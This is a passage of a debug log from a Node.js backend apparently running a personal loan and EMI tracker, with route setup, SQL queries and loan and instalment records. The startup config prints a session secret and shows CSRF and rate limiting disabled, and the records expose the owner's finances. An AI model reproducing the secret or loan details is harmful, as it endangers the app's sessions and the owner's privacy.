    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-04-21T16:45:07.179Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T16:45:07.331Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T16:45:07.425Z server-connect:setup:upload Upload middleware configured.
2026-04-21T16:45:07.426Z server-connect:secure CSRF Protection initialized
2026-04-21T16:45:07.428Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T16:45:07.429Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T16:45:07.430Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T16:45:07.430Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T16:45:07.457Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T16:45:07.458Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T16:45:07.459Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T16:45:07.459Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T16:45:07.460Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T16:45:07.460Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T16:45:07.460Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T16:45:07.461Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T16:45:07.461Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T16:45:07.461Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T16:45:07.462Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T16:45:07.462Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T16:45:07.462Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T16:45:07.463Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T16:45:07.463Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T16:45:07.463Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T16:45:07.463Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T16:45:07.464Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T16:45:07.464Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T16:45:07.464Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T16:45:07.465Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T16:45:07.465Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T16:45:07.465Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T16:45:07.465Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T16:45:07.465Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T16:45:07.466Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T16:45:07.466Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T16:45:07.466Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T16:45:07.466Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T16:45:07.466Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T16:45:07.467Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T16:45:07.467Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T16:45:07.467Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T16:45:07.467Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T16:45:07.583Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:45:07.588Z server-connect:app Executing action step identify
2026-04-21T16:45:07.588Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:07.590Z server-connect:output identity: 1
2026-04-21T16:45:07.590Z server-connect:app Executing action step restrict
2026-04-21T16:45:07.590Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:07.592Z server-connect:output restrict: undefined
2026-04-21T16:45:07.592Z server-connect:app Executing action step update
2026-04-21T16:45:07.592Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:45:07.597Z server-connect:output update: { affected: 1 }
2026-04-21T16:45:07.798Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:45:07.798Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:07.799Z server-connect:app Executing action step identify
2026-04-21T16:45:07.799Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:07.799Z server-connect:output identity: 1
2026-04-21T16:45:07.799Z server-connect:app Executing action step restrict
2026-04-21T16:45:07.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:07.800Z server-connect:app Executing action step identify
2026-04-21T16:45:07.800Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:07.800Z server-connect:output identity: 1
2026-04-21T16:45:07.800Z server-connect:app Executing action step restrict
2026-04-21T16:45:07.800Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:07.804Z server-connect:output restrict: undefined
2026-04-21T16:45:07.804Z server-connect:app Executing action step custom
2026-04-21T16:45:07.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:45:07.805Z server-connect:output restrict: undefined
2026-04-21T16:45:07.806Z server-connect:app Executing action step select
2026-04-21T16:45:07.806Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:07.808Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '23',
    total_remaining_amount: 531507,
    total_paid_amount: 855033,
    percentage_paid: '61.67'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:45:07.813Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-04-21T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-04-21T16:45:12.140Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:45:12.140Z server-connect:app Executing action step identify
2026-04-21T16:45:12.140Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:12.140Z server-connect:output identity: 1
2026-04-21T16:45:12.140Z server-connect:app Executing action step restrict
2026-04-21T16:45:12.140Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:12.141Z server-connect:output restrict: undefined
2026-04-21T16:45:12.141Z server-connect:app Executing action step update
2026-04-21T16:45:12.141Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:45:12.142Z server-connect:output update: { affected: 1 }
2026-04-21T16:45:12.341Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:45:12.341Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:12.342Z server-connect:app Executing action step identify
2026-04-21T16:45:12.342Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:12.342Z server-connect:output identity: 1
2026-04-21T16:45:12.342Z server-connect:app Executing action step restrict
2026-04-21T16:45:12.342Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:12.342Z server-connect:app Executing action step identify
2026-04-21T16:45:12.342Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:12.343Z server-connect:output identity: 1
2026-04-21T16:45:12.343Z server-connect:app Executing action step restrict
2026-04-21T16:45:12.343Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:12.343Z server-connect:output restrict: undefined
2026-04-21T16:45:12.343Z server-connect:app Executing action step select
2026-04-21T16:45:12.343Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:12.344Z server-connect:output restrict: undefined
2026-04-21T16:45:12.344Z server-connect:app Executing action step custom
2026-04-21T16:45:12.344Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:45:12.345Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
